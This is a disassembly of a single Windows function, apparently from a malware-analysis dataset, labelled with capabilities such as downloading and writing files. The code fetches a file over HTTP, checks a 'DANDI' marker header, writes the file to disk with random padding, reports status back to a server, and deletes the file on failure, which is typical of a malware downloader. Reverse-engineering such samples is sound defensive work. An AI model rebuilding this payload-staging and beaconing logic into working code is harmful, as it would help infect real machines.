Function at 0x4058e0
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x40929a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x424
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x444]
lea ecx, [esp + 0x18]
push eax
mov dword [esp + 0x440], 0
call sub.MFC42.DLL_CString::CString_2
push 0x40cc38
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 1
call sub.MFC42.DLL_CString::CString_1
push 0
push 0
push 0
push 0
push str.FptD
mov byte [esp + 0x450], 2
xor bl, bl
call dword [sym.imp.WININET.dll_InternetOpenA]
lea ecx, [edi + 0x98]
lea edx, [esp + 0x20]
push ecx
push str.http:__
push edx
mov esi, eax
call sub.MFC42.DLL_operator
push 0x40c504
push eax
lea eax, [esp + 0x30]
mov byte [esp + 0x444], 3
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x444]
lea edx, [esp + 0x14]
push ecx
push eax
push edx
mov byte [esp + 0x448], 4
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x440], 5
call fcn.004083a6
lea ecx, [esp + 0x14]
mov byte [esp + 0x43c], 4
call fcn.0040828c
lea ecx, [esp + 0x28]
mov byte [esp + 0x43c], 3
call fcn.0040828c
lea ecx, [esp + 0x20]
mov byte [esp + 0x43c], 2
call fcn.0040828c
mov eax, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x405a34
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [esp + 0x24], eax
jne 0x405bbe
lea ecx, [esp + 0x30]
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
mov dword [esp + 0x3c], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
jmp 0x405bbe
mov al, byte [esp + 0x448]
test al, al
je 0x405a52
lea ecx, [esp + 0x444]
push ecx
lea ecx, [esp + 0x14]
call fcn.004083a6
jmp 0x405a89
lea edx, [esp + 0x444]
lea eax, [esp + 0x20]
push edx
push eax
mov ecx, edi
call fcn.00405c50
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 6
call fcn.004083a6
lea ecx, [esp + 0x20]
mov byte [esp + 0x43c], 2
call fcn.0040828c
mov ecx, dword [esp + 0x10]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x405abc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x24], eax
jmp 0x405bbe
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34]
push edx
push 5
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405bb3
lea ecx, [esp + 0x34]
push str.DANDI
push ecx
mov byte [esp + 0x41], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x405b89
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34]
push edx
push 0x400
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405b46
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x405b46
lea ecx, [esp + 0x2c]
push 0
push ecx
lea edx, [esp + 0x3c]
push eax
push edx
push ebp
call ebx
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x34]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x405b14
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
and esi, 0x8000000f
jns 0x405b5b
dec esi
or esi, 0xfffffff0
inc esi
lea edx, [edi + 0xb0]
lea ecx, [esp + 0x14]
push edx
inc esi
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x2c]
push 0
push eax
push esi
push ecx
push ebp
call ebx
lea ecx, [esp + 0x14]
mov bl, 1
call fcn.0040828c
jmp 0x405bb3
mov eax, dword [edi + 0xb0]
lea edx, [esp + 0x34]
push edx
push eax
push str.uid:_s_dvf__s_
push 0x40cc30
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, edi
push 0x40cc30
call fcn.00405360
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
jne 0x405bf8
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x10]
mov eax, dword [edi + 0xb0]
push ecx
push edx
push eax
push str.uid:_s_dnlff___s__del__d_
push 0x40cc30
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, edi
push 0x40cc30
call fcn.00405360
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x10]
mov byte [esp + 0x43c], 1
call fcn.0040828c
lea ecx, [esp + 0x18]
mov byte [esp + 0x43c], 0
call fcn.0040828c
lea ecx, [esp + 0x444]
mov dword [esp + 0x43c], 0xffffffff
call fcn.0040828c
mov ecx, dword [esp + 0x434]
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x430
ret 8